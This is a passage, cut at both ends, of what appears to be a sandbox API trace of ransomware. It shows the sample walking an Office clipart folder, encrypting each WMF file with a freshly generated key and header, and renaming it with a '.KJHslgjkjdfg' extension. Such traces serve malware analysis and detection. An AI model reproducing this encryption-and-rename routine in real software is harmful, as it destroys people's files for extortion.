office\\clipart\\pub60cor\\hh00602_.wmf.kjhslgjkjdfg")) returned 1 [0189.719] CloseHandle (hObject=0x130) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0189.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.723] GetProcessHeap () returned 0x990000 [0189.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.723] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.723] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.725] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.725] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.725] GetProcessHeap () returned 0x990000 [0189.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.726] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.726] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3158, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3158, lpOverlapped=0x0) returned 1 [0189.727] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3160, dwBufLen=0x3160 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3160) returned 1 [0189.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3160, lpOverlapped=0x0) returned 1 [0189.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.728] SetEndOfFile (hFile=0x130) returned 1 [0189.730] GetProcessHeap () returned 0x990000 [0189.730] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.730] GetProcessHeap () returned 0x990000 [0189.730] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.kjhslgjkjdfg")) returned 1 [0189.732] CloseHandle (hObject=0x130) returned 1 [0189.732] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0189.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.732] GetProcessHeap () returned 0x990000 [0189.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.734] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.734] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.734] GetProcessHeap () returned 0x990000 [0189.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.734] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.734] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.734] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.735] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.735] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.735] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.735] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.735] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2994, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2994, lpOverlapped=0x0) returned 1 [0189.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29a0, dwBufLen=0x29a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29a0) returned 1 [0189.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.736] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x29a0, lpOverlapped=0x0) returned 1 [0189.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.736] SetEndOfFile (hFile=0x130) returned 1 [0189.738] GetProcessHeap () returned 0x990000 [0189.739] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.739] GetProcessHeap () returned 0x990000 [0189.739] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.kjhslgjkjdfg")) returned 1 [0189.740] CloseHandle (hObject=0x130) returned 1 [0189.740] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0189.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.740] GetProcessHeap () returned 0x990000 [0189.740] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.740] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.740] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0189.742] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.742] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.742] GetProcessHeap () returned 0x990000 [0189.742] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.742] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.742] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.742] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.742] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.742] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.743] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.743] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.743] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.743] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.743] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x844, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x844, lpOverlapped=0x0) returned 1 [0189.743] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x850, dwBufLen=0x850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x850) returned 1 [0189.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.743] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x850, lpOverlapped=0x0) returned 1 [0189.743] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.743] SetEndOfFile (hFile=0x130) returned 1 [0189.746] GetProcessHeap () returned 0x990000 [0189.746] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.746] GetProcessHeap () returned 0x990000 [0189.746] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.kjhslgjkjdfg")) returned 1 [0189.747] CloseHandle (hObject=0x130) returned 1 [0189.747] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0189.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.748] GetProcessHeap () returned 0x990000 [0189.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.748] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.748] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.748] GetProcessHeap () returned 0x990000 [0189.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.748] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.750] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.750] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.751] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.751] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.751] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x620, lpOverlapped=0x0) returned 1 [0189.751] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620, dwBufLen=0x620 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x620) returned 1 [0189.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.751] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x620, lpOverlapped=0x0) returned 1 [0189.751] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.751] SetEndOfFile (hFile=0x130) returned 1 [0189.753] GetProcessHeap () returned 0x990000 [0189.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.753] GetProcessHeap () returned 0x990000 [0189.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.kjhslgjkjdfg")) returned 1 [0189.754] CloseHandle (hObject=0x130) returned 1 [0189.754] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0189.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.755] GetProcessHeap () returned 0x990000 [0189.755] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.755] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.755] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0189.756] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: 